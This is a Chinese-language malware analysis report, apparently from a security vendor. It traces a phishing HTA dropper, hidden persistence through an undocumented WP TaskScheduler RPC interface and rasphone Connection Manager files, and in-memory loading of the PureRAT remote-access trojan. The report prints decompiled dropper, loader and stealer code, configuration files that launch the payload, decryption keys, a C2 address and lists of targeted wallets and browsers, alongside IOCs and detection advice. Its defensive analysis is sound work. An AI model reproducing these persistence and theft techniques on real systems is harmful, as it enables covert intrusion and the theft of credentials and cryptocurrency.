规避常规排查:滥用 WP TaskScheduler 持久化的 PureRAT 定向投递分析

概述

  近期,瑞星威胁情报平台发现一起伪装成电商采购清单的定向攻击事件。攻击者将样本命名为9月份采购样品清单.hta,通过钓鱼邮件、即时通讯工具等社工手段投递,诱骗用户双击执行。样本运行后释放可执行程序Poltarbi.exe,并经批处理脚本间接将其启动,以切断初始脚本与恶意载荷之间的进程链。Poltarbi.exe承载后续全部恶意行为:先将自身复制到伪装目录并膨胀体积以改变文件特征,再借助WP TaskScheduler建立本地持久化,最后经内嵌加载器将PureRAT远控木马在内存中解密执行,木马与远程服务器通信并窃取敏感信息,可造成用户数据泄露或系统被控。

  其持久化机制完全依靠未公开的系统机制实现:样本将一个隐藏的计划任务注册进WP TaskScheduler——系统内部的并行调度子系统,该任务不产生任何传统任务痕迹,在schtasksAutoruns等常规排查工具下均不可见。任务不直接执行载荷,而是启动系统自带的拨号程序rasphone.exe读取样本释放的配置文件,再由该文件中的“连接前执行动作”字段调用系统命令执行恶意载荷,从而将攻击链伪装成一次常规的拨号流程。

事件详情

  本次攻击的起点是一份名为9月份采购样品清单.hta的恶意文件。用户双击后,系统调用mshta.exe解析执行。该文件虽以HTA为后缀,但内容并非真正的HTML文档,而是由头部的加密数据与尾部的恶意脚本拼接而成:尾部脚本从头部解密出ZIP数据,在%TEMP%下以随机GUID命名的工作目录释放并解压,得到Poltarbi.exe。该样本为Rust编写的原生程序,经强混淆处理,是整个攻击链中承上启下的关键组件。

  该组件通过批处理间接启动,从而切断mshta.exe与恶意载荷之间的进程链。Poltarbi.exe运行后先将自身复制到C:\ProgramData下的伪装目录并追加随机数据,再释放Connection Manager配置文件并通过WP TaskScheduler创建登录触发任务,由任务调用rasphone.exe完成持久化驻留。

  最后,Poltarbi.exe初始化CLR环境,将内嵌的.NET加载器与PureRAT木马依次在内存中解密执行,建立与控制端的TLS通道。整个攻击过程可分为四个阶段:文件解密与载荷释放、批处理间接启动、WP TaskScheduler持久化、内存加载与远控。

攻击流程

image

样本分析

9月份采购样品清单.hta分析

字段 内容
文件名 9月份采购样品清单.hta
文件大小 1.92 MB (2,015,907 bytes)
文件MD5 aeeba05783eb456c525257f934cb979b
病毒名 Dropper.Agent/JS!1.14792
文件类型 HTA
主要功能 从自身解码出内嵌载荷并释放到本地,解压后经批处理脚本间接启动下一阶段载荷

  该样本以.hta为后缀并由mshta.exe解析执行,但内容并非真正的HTML文档,而是由前部的加密数据与尾部的恶意脚本拼接而成。该二进制段恰好不包含会中断HTML解析的字符序列,因此mshta能够正常解析并执行尾部脚本。这种拼接方式既保证了HTA的可执行性,又避免了ZIP等敏感文件头在静态检测中直接暴露。

  脚本第一项功能是解码内嵌载荷并释放到本地。其内置五种解码算法供切换,本次使用双密钥异或,但因异或运算的自反性,该实现实际等效于单字节异或0xB3,第一层密钥仅用于干扰逆向判断。脚本通过ADODB.Stream从文件头部读取指定长度数据解码,得到仅含Poltarbi.exeZIP压缩包,释放到%TEMP%下以随机GUID命名的工作目录,再借用Shell.Application静默解压。

var _zs = 1996415; //加密数据大小(字节),用于从自身文件中读取
var _zn = "package.zip"; //释放的 ZIP 文件名
var _en = "Poltarbi.exe"; //释放的可执行文件名
var _ea = "-Embedding"; //传给载荷的参数
var _xk = 0x72; //第一层异或密钥
var _x2 = 0xB3; //第二层异或密钥
var _em = 1; //加密模式:1=双密钥异或、2=RC4、3=异或+Base64、4=S盒置换
var _rk = ""; //RC4 密钥,本次为空

function _xm(inputStream, size, key1, key2) {
...
bytes[i] = bytes[i] ^ key1 ^ key2 ^ key1; //双密钥异或,实际等效于单字节异或 key2
...
}

function _ez() {
var htaPath = _gh();
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.LoadFromFile(htaPath); //把样本自身读入二进制流
stream.Position = 0; //回到文件起点,从头部读取载荷
switch (_em) {
case 1: data = _xm(stream, _zs, _xk, _x2); break; //双密钥异或,本次执行此分支
case 2: data = _xr(stream, _zs, _rk); break; //RC4
case 3: data = _xb(stream, _zs, _xk); break; //异或 + Base64
case 4: data = _xs(stream, _zs, _sd); break; //S盒置换
default: data = _d0(stream, _zs, _xk); //单字节异或
}
stream.Close();
return data; //返回解密后的 ZIP 二进制数据
}

  脚本的第二项功能是通过批处理间接执行载荷。脚本并未直接启动载荷,而是先生成一个由中性前缀、动作词与六位随机十六进制拼装的批处理文件(如runtime_update_a3f19c.bat),再以隐藏窗口方式执行。其内容为:

@echo off
cd /d "<工作目录短路径>"
ping -n 4 127.0.0.1 >nul
start "" "<载荷短路径>" -Embedding
del "%~f0"

  脚本的第三项功能是借助内置文件名表完成载荷伪装。脚本内置一张约百项的伪装文件名表,内容均为runtime.exeservice.exeupdate.exe之类的常见进程名。解压完成后,脚本从中随机取值,将Poltarbi.exe改名后再交由批处理启动。这样即便用户在临时目录中查看,看到的也只是名称普通的文件,使批量排查无法依赖固定文件名匹配。

//把 Poltarbi.exe 重命名为随机合法 exe 名,防止被杀毒软件识别
var legitNames = [
  "runtime.exe",
  "helper.exe",
  "service.exe",
  "update.exe",
  "launch.exe",
  "worker.exe",
  "monitor.exe",
  "manager.exe",
  "broker.exe",
  "agent.exe",
  "handler.exe",
  "runner.exe",
  "daemon.exe",
  "core.exe",
  "engine.exe",
  "proxy.exe",
  "bridge.exe",
  "notify.exe",
  "backup.exe",
  "cache.exe",
  //……其余百余项省略,均为同类常见进程名
];

var randomExeName = legitNames[Math.floor(Math.random() * legitNames.length)];
var randomExePath = workDir + "\\" + randomExeName;
if (fso.FileExists(exePath)) {
  fso.MoveFile(exePath, randomExePath); //重命名为随机合法进程名
  exePath = randomExePath;
}

Poltarbi.exe分析

字段 内容
文件名 Poltarbi.exe
文件大小 4.93 MB (5,176,224 bytes)
文件MD5 74e0bccf3cb6df4ddad4460fad4303c2
病毒名 Trojan.Kryptik!1.147E6
文件类型 EXE
主要功能 利用WP TaskScheduler注册登录触发任务实现本地持久化、内存加载执行内嵌载荷

  该样本为Rust编写的原生可执行程序,经强混淆处理:关键API动态解析、敏感字符串逐条解密,主流程采用控制流平坦化并以链式跳板打散调用关系。这使反编译结果无法直接读懂,基于特征匹配与静态扫描的检测手段也几近失效。

  样本主要承担三项功能:将自身复制到本地目录并追加随机数据以改变文件特征、通过释放Connection Manager配置文件并借助WP TaskScheduler创建登录触发任务完成持久化、将内嵌的.NET程序集在内存中加载执行。

复制自身并膨胀体积

  样本运行后首先创建一个伪装成系统组件的目录(C:\ProgramData\Search\),并将自身复制到该目录下,随机选取一个文件名重命名,以规避基于固定文件名的识别,分析中观察到的落地文件为avq.exe。复制完成后,样本会向副本文件尾部持续追加随机数据,直至文件体积膨胀至约100 MB

  追加的数据并非固定内容,而是由系统时间与进程ID组合运算生成的伪随机字节。样本以栈上64 KB缓冲区为单位反复调用WriteFile写入,直至文件膨胀至约100 MB

//复制自身并追加随机数据
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);   //取系统时间作为随机种子来源
dwHighDateTime = SystemTimeAsFileTime.dwHighDateTime;
dwLowDateTime  = SystemTimeAsFileTime.dwLowDateTime;
CurrentProcessId = GetCurrentProcessId();         //叠加当前进程 ID

memset(Buffer, 0, 0x10000);                       //栈上 64 KB 填充缓冲区清零
v72 = 0x10000;                                    //每次写入 64 KB
if ( v99 < 0x10000 ) v72 = v99;                   //不足 64 KB 时按剩余长度写入
WriteFile(a3, a4, Buffer, nNumberOfBytesToWrite, a5);   //写文件

  由于种子中包含高精度时间与进程ID,每个终端、每次运行生成的填充数据都不相同,副本的哈希与体积随之变化。尾部追加的数据不会被映射到内存,不影响程序运行;其真实目的是改变文件特征,规避基于哈希的云端查杀与样本关联。

本地持久化

  本地持久化是本样本最具技术特点的部分。样本将“何时触发”与“执行什么”拆成两半,分别交给两个互不相干的系统组件:任务定义经私有RPC写入WP TaskScheduler的注册表路径,执行动作则由Connection Manager配置文件承载。

  第一步是释放Connection Manager配置文件。样本向公共用户目录释放三个文件:DDC87699A36825C5.pbkDDC87699A36825C5.cmpDDC87699A36825C5.cms.pbk定义了名为PoCEntry的条目,将连接类型设为VPN并指定系统自带的cmdial32.dll为拨号组件;PhoneNumber被填为本地回环地址127.0.0.1,说明该连接不会真正建立,作用仅在于让rasphone.exe走到执行动作这一步。.cmp是入口文件,通过ServiceName=PoCEntryCMSFile=DDC87699A36825C5.cms将条目名与.cms文件名串联起来。.cms则承载真正起效的部分,其Pre-Init Actions字段会在连接建立前执行指定命令。

image

; DDC87699A36825C5.pbk
[PoCEntry]
Type=2                                                    ; 连接类型为 VPN
CustomDialDll=C:\Windows\System32\cmdial32.dll            ; 拨号组件,系统自带
CustomRasDialDll=C:\Windows\System32\cmdial32.dll
PreferredDevice=WAN Miniport (L2TP)                       ; 伪装成 L2TP 虚拟网卡
PhoneNumber=127.0.0.1                                     ; 回环地址,连接不会真正建立

; DDC87699A36825C5.cmp
[Connection Manager]
ServiceName=PoCEntry                                      ; 与 .pbk 中的条目名对应
CMSFile=DDC87699A36825C5.cms                              ; 指向执行动作所在的 .cms

  .cmsPre-Init Actions内容如下:

[Pre-Init Actions]
0=C:\Windows\System32\cmd.exe, /c start "" "C:\ProgramData\Search\34f3ee81e944bc6b\avq.exe"
0&Flags=0
0&Description=Connection Manager

  第二步是创建计划任务。样本先准备载荷所在目录,再全程通过系统自身的RPC机制提交任务定义,未调用任何任务计划的公开接口。样本调用的是WP TaskScheduler的未公开RPC接口({33D84484-3626-47EE-8C6F-E7E98B113BE1} v2.0,过程号0),该接口不受理常规任务计划的查询与枚举,因而创建的任务对排查工具不可见。提交的任务以系统签名的rasphone.exe为目标,启动参数通过-f指定上一步释放的.pbk文件、-d指定其中的PoCEntry条目,使任务触发后能够直接命中该连接配置。

  整个RPC调用由三个步骤构成。首先以ncalrpc为协议序列组装绑定字符串,由端点映射器解析出目标端点;随后在实例化绑定句柄的基础上,以接口UUID解析出可直接调用的完整绑定;最后经过程号0提交调度请求,由WP TaskScheduler服务完成任务的落地。上述RPC函数地址均由样本在运行时动态解析后存入自建的函数指针表,不依赖导入表暴露:

//目录准备
CreateDirectory(...);                             //创建目录 C:\ProgramData\Search\34f3ee81e944bc6b

//第一步:组装绑定字符串,仅指定协议序列 ncalrpc,端点交由映射器解析
RpcStringBindingComposeW(NULL, "ncalrpc", NULL, NULL, NULL, &StringBinding);

//第二步:由绑定字符串取得绑定句柄,再按接口 UUID 解析出可用端点
RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
RpcEpResolveBinding(BindingHandle, &Binding);

//第三步:以过程号 0 提交调度请求
NdrClientCall2(...);

  动态调试中RpcEpResolveBindingNdrClientCall2的调用现场如下:

image

image

  WP TaskScheduler服务收到请求后,在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules\{GUID}下创建子项,并将任务名、可执行文件路径与启动参数编码为REG_BINARY写入Schedule值,数据以UTF-16编码存储,常规方式查看只能看到乱码。注册表写入由承载该服务的svchost.exe进程完成,样本自身仅负责发起RPC请求,因此样本进程的注册表操作记录中没有对应痕迹。至此持久化安装完成,用户下次登录时由系统触发任务,最终以cmd.exe执行载荷副本avq.exe

image

  将Schedule值中被打断的UTF-16数据还原后,可读出任务的实际定义:

任务名      SimpleActivityScheduleTimer_{065F4F1F-2D48-D86A-A2A2-938E84BB3E11}
可执行文件  C:\Windows\System32\rasphone.exe
启动参数    -f "C:\Users\Public\DDC87699A36825C5.pbk" -d "PoCEntry"

  该持久化方式的隐蔽性来自三点:任务定义不像传统任务那样落在TaskCacheSystem32\Tasks下,而是存于独立注册表路径并以二进制编码,schtasksGet-ScheduledTask、任务计划程序taskschd.mscAutoruns均无法读取,排查呈“无异常任务”假象;任务名SimpleActivityScheduleTimer_{GUID}模仿系统内置活动,易被忽略;注册表写入经系统RPC完成,启动由系统签名的rasphone.exe承载,行为近似系统组件内部调用,难以被签名与路径白名单检测发现。

image

  以Autoruns检查主机自启动项,其中并无上述任务或rasphone.exe相关条目;以Get-ScheduledTask按任务名精确查询,同样返回找不到该任务。两者与注册表项实际存在形成反差。

加载执行内嵌的.NET载荷

  样本自身不含托管代码,也未导入任何与CLR相关的接口,其加载内嵌载荷的方式是运行时自建托管宿主环境。由于样本本身经过强混淆,以下按执行流程还原关键调用,代码为语义化呈现:

//动态解析 CLR 相关函数地址
hMscoree = LoadLibraryW(L"mscoree.dll");
CLRCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");

//初始化 CLR 并取得默认 AppDomain
CLRCreateInstance(&CLSID_CLRMetaHost, &IID_ICLRMetaHost, &pMetaHost);
pMetaHost->GetRuntime(L"v4.0.30319", &IID_ICLRRuntimeInfo, &pRuntimeInfo);
pRuntimeInfo->GetInterface(&CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, &pCorRuntimeHost);
pCorRuntimeHost->GetDefaultDomain(&pAppDomain);
//从样本数据段定位并解密内嵌的 .NET 程序集
payloadAddr = ResolveDataSection(offset, key);        //定位加密载荷并逐块解密
payloadSize = Decrypt(payloadAddr, encryptedLen);      //还原程序集字节流

//构造 SAFEARRAY 承载字节数组
safeArray = SafeArrayCreateVector(VT_UI1, 0, payloadSize);
SafeArrayAccessData(safeArray, &pData);
memcpy(pData, decryptedBytes, payloadSize);
SafeArrayUnaccessData(safeArray);

//载入默认 AppDomain
pAppDomain->Load(safeArray, &pAssembly);               //从内存直接载入,不产生磁盘文件

image

  由于托管程序集以加密形式存放于样本内,运行时才解密执行,全程不产生磁盘落地文件,基于文件落地与静态特征的检测手段均无从入手。该程序集的解码方式与后续执行流程详见下一节分析。

加载器分析

字段 内容
文件大小 321 KB (328,704 bytes)
文件MD5 18a76de15f2cf4327aa8d4aef7e80dfa
病毒名 Trojan.Loader!1.147F7
文件类型 EXE
主要功能 解密内嵌资源并反射加载最终载荷

  该组件为内嵌于Poltarbi.exe.NET程序集,不含独立落地文件,由Poltarbi.exe自建CLR宿主环境在内存中加载执行。其从自身资源读取PayloadSource.zip,经TripleDES解密与GZip解压还原出载荷程序集,由Assembly.Load加载后遍历公开静态无参方法反射调用,自动定位进入点。最终载荷为PureRAT

//从资源读取加密载荷
var stream = typeof(PCLoader).Assembly.GetManifestResourceStream("PayloadSource.zip");

//TripleDES 解密
tripleDES.Key = Convert.FromBase64String("q7xLLwTM61N9AVibC/W4ceXs14KlMfyH");
tripleDES.IV  = Convert.FromBase64String("rvjcgnPU6lM=");
tripleDES.Mode = CipherMode.CBC;

//GZip 解压后反射加载
Assembly.Load(array6).GetTypes();   //加载并遍历类型定位入口

PureRAT分析

字段 内容
文件大小 75.0 KB (76,800 bytes)
文件MD5 b2f405f99a6489d652b47f98b100250a
病毒名 Stealer.Agent!1.1436E
文件类型 EXE
主要功能 建立TLS远控通道,窃取凭据与数字资产,并对终端实施持续监视

  解密加载后得到.NET程序集,其内嵌证书的主题与颁发者均为CN=PureRAT Agent。结合通信结构、证书身份与功能实现,可以判定该最终载荷为PureRAT远控木马。

  PureRAT内嵌一份PKCS#12格式的自签证书,木马启动后创建SocketNetworkStreamSslStream,以该证书与控制端172.98.22.177建立TLS加密通道,后续的命令下发与数据回传均承载于加密流量之下。这种设计既使通信内容不具备明文特征,规避了基于明文特征匹配的流量检测,也省去了证书链校验环节,无需依赖任何外部证书服务。

private static void smethod_3()
 {
  Class9.gclass3_0 = (GClass3)GClass1.smethod_1(Convert.FromBase64String("H4sIAAAAAAAEAGWWSQrEyJWGC3tRuMDgbfXSK4OgNE+LWoTmeUpJKWmneUqNqTFP4zM0+ADdfZK+SWd1Q9vGCgIR7/1PEYif+N6//+6/f/7pDyhG/4J8B/rTH1Ea+4VlfsGwX1Ca/tN//O33f/rP7/yvv/3+3/76s6mqWl6rHPjwPP8gZP6xyA81wwVXVED6jXmMWNd99ptO+mq4BPyLhovFryZkvxqp9L/rKJD5+/81Jl+L/KSqIt19c/Z0KiDW9SlRmyO3gHt+9wY2B1oZg9qGj/VuPVWeY8H3m746fLAjXLStrHfC+4wpvOkeLjOoV1XuwSZxbC19IhYvdQgGguCyPaae/Zm18mLb2RvXYo0n7lhfO29L8eh8t912r0RWaKjQNomAwH62F1Sz7daFaAGK3BYEsLnVNnruvZ7Lhdzj3YtRjQqxtba4gW7Dk8selQBeUTV+QvFdxHCjgcDXxpCz3M8EE/7zrdG1V9VTVimVh4p0pdBEsxTaohNVttgTZ8LR8nkX45WFxmiGzQovm29pAYGaXTxor4yMo/rNxJKhN8URBJBTWrhf5UQl1+pjd80mQG9+NyOkzjwPYoKx1XWoNk3ESWxXEgT+zOrLdNG4CmqOgzF7fzVGUbK8XCKDs+ALsRcF7troJTLiwTQOwOyP7fdxjl/vzC4iVX1zAKmyoBQuxc8/ozpwKFFW5F4XvcCqlugF5vCQghIxFAQiG5FOtCAQ5ZmgNipGpVXtyarL1bmQEs5EDTNBMnXrFZa2pHt5HpXRA3YeCoLUW0K1rn5WFMAgOmcdVqVqDmfMbtU
  //部分内容省略
  "));
  Class9.x509Certificate2_0 = new X509Certificate2(Convert.FromBase64String(Class9.gclass3_0.String_0));
 }

  自签证书内容:

image

  信息收集方面,木马通过WMI与系统API采集主机硬件、系统版本与安全软件等信息,用于生成主机指纹;同时可截取主屏幕图像并探测摄像头,对终端形成持续监视。

//搜集系统信息
text += Class4.smethod_1("Win32_Processor", "ProcessorId");
text += Class4.smethod_1("Win32_DiskDrive", "SerialNumber");
text += Class4.smethod_1("Win32_PhysicalMemory", "SerialNumber");

//获取安全软件信息
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntiVirusProduct"))

//探测摄像头函数
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')"))

//屏幕截图
Rectangle bounds = Screen.PrimaryScreen.Bounds;
   using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
   {
    //部分内容省略
   }

  数据窃取方面,木马针对Chromium系浏览器的数据与数字资产开展窃取。浏览器部分覆盖ChromeEdgeBraveQQBrowser等,提取保存的账号密码与浏览数据;数字资产部分定位加密货币钱包扩展与本地客户端数据,包括MetaMaskTronLink等扩展,以及Atomic WalletElectrumExodus等本地钱包应用。

 a.c = new Dictionary<string, string>
     {
      //钱包扩展
      { "ibnejdfjmmkpcnlpebklmnkoeoihofec", "TronLink" },
      { "nkbihfbeogaeaoehlefnkodbefgpgknn", "MetaMask" },
      { "fhbohimaelbohpjbbldcngcnapndodjp", "Binance Chain Wallet" },
      { "ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi" },
      { "cjelfplplebdjjenllpjcblmjkfcffne", "Jaxx Liberty" },
      { "fihkakfobkmkjojpchpfgcmhfjnmnfpi", "BitApp Wallet" },
      { "kncchdigobghenbbaddojjnnaogfppfj", "iWallet" },
      { "aiifbnbfobpmeekipheeijimdpnlpgpp", "Terra Station" },
      { "ijmpgkjfkbfhoebgogflfebnmejmfbml", "BitClip" },
      { "blnieiiffboillknjnepogjhkgnoapac", "EQUAL Wallet" },
      //……其余项省略,均为同类常见钱包扩展

     //浏览器数据
     Dictionary<string, string> dictionary = new Dictionary<string, string>();
     dictionary.Add("Chromium\\User Data\\", "Chromium");
     dictionary.Add("Google\\Chrome\\User Data\\", "Chrome");
     dictionary.Add("Google(x86)\\Chrome\\User Data\\", "Chrome");
     dictionary.Add("BraveSoftware\\Brave-Browser\\User Data\\", "Brave");
     dictionary.Add("Microsoft\\Edge\\User Data\\", "Edge");
     dictionary.Add("Tencent\\QQBrowser\\User Data\\", "QQBrowser");
     dictionary.Add("MapleStudio\\ChromePlus\\User Data\\", "ChromePlus");
     dictionary.Add("Iridium\\User Data\\", "Iridium");
     //……其余项省略,均为同类常见浏览器数据地址

  //数字资产数据
  if (new DirectoryInfo(Path.Combine(folderPath, "atomic", "Local Storage", "leveldb")).Exists)
  {
  a.field_a.Add("Atomic Wallet");
  }
  using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Bitcoin\\Bitcoin-Qt", RegistryKeyPermissionCheck.ReadSubTree))
  {
  if (registryKey != null && new DirectoryInfo(Path.Combine(registryKey.GetValue("strDataDir").ToString(), "wallets")).Exists)
  {
    a.field_a.Add("Bitcoin-Qt");
  }
  }
  if (new DirectoryInfo(Path.Combine(folderPath, "Electrum", "wallets")).Exists)
  {
  a.field_a.Add("Electrum");
  }
  if (new DirectoryInfo(Path.Combine(folderPath, "Ethereum", "keystore")).Exists)
  {
  a.field_a.Add("Ethereum");
  }
  if (new DirectoryInfo(Path.Combine(folderPath, "Exodus", "exodus.wallet")).Exists)
  {
  a.field_a.Add("Exodus");
  }

攻击过程可视化(EDR)

  瑞星EDR详细记录了主机上的程序活动,借助威胁可视化调查功能可对本次攻击过程进行还原。下图展示了此次攻击活动中涉及的主要进程及相关网络基础设施。

image

  主机重启后,EDR记录到rasphone.exe被系统调起,并进一步触发配置文件中的命令执行载荷副本,与前述WP TaskScheduler登录触发任务的设计相互印证。

image

总结

  本次攻击是系统合法组件滥用的典型实战化应用。攻击者将恶意逻辑隐藏在.hta文件中,通过批处理间接启动切断进程链;Poltarbi.exe经强混淆处理,运行时先完成持久化,再将.NET载荷在内存中加载执行,恶意逻辑全程驻留内存。其持久化痕迹不落在常规启动目录与任务计划之中,可避开schtasksAutoruns等主流排查工具,是一类典型的检测盲区。

  排查之所以失效,是因为这些工具只索引传统的任务登记位置,而WP TaskScheduler将任务存在独立的注册表路径下并以二进制编码,不在其检索范围内——看不到不等于不存在。建议安全团队将该注册表路径的写入行为列为检测重点,同时关注ncalrpc通道上针对该未公开接口的调用及rasphone.exe被异常调起的情形。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知与EDR等行为检测产品。

    网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。

  3. 安装有效的杀毒软件。

    杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。

    瑞星目前已可检出此次攻击事件的相关样本。

image

  1. 通用安全建议:及时修补系统补丁和重要软件补丁。

    及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。

沦陷信标(IOC)

  • MD5
aeeba05783eb456c525257f934cb979b
74e0bccf3cb6df4ddad4460fad4303c2
18a76de15f2cf4327aa8d4aef7e80dfa
b2f405f99a6489d652b47f98b100250a
  • IPV4
172.98.22.177
  • 瑞星病毒名
Dropper.Agent/JS!1.14792
Trojan.Kryptik!1.147E6
Trojan.Loader!1.147F7

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *